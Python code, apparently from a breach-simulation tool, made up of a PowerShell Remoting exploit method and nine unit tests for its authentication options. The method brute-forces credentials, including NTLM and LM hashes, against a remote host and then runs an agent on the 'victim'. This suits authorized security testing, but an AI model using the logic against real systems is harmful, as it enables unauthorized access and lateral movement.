def _exploit_host(self): try: use_ssl = self._is_client_using_https() except PowerShellRemotingDisabledError as e: logging.info(e) return False credentials = get_credentials( self._config.exploit_user_list, self._config.exploit_password_list, self._config.exploit_lm_hash_list, self._config.exploit_ntlm_hash_list, is_windows_os(), ) auth_options = [ get_auth_options(creds, use_ssl) for creds in credentials ] self._client = self._authenticate_via_brute_force( credentials, auth_options) if not self._client: return False return self._execute_monkey_agent_on_victim()
def test_get_auth_options__encryption_none_password(): auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, use_ssl=False) assert auth_options.encryption == ENCRYPTION_AUTO
def test_get_auth_options__encryption_empty_password(): auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, use_ssl=False) assert auth_options.encryption == ENCRYPTION_NEVER
def test_get_auth_options__auth_type_with_NT_hash(): auth_options = get_auth_options(CREDENTIALS_NT_HASH, use_ssl=False) assert auth_options.auth_type == AUTH_NTLM
def test_get_auth_options__auth_type_none_password(): auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, use_ssl=False) assert auth_options.auth_type == AUTH_NEGOTIATE
def test_get_auth_options__auth_type_empty_password(): auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, use_ssl=False) assert auth_options.auth_type == AUTH_BASIC
def test_get_auth_options__ssl_false_none_password(): auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, use_ssl=False) assert not auth_options.ssl
def test_get_auth_options__ssl_false_empty_password(): auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, use_ssl=False) assert not auth_options.ssl
def test_get_auth_options__ssl_true_none_password(): auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, use_ssl=True) assert auth_options.ssl
def test_get_auth_options__ssl_true_with_password(): auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, use_ssl=True) assert auth_options.ssl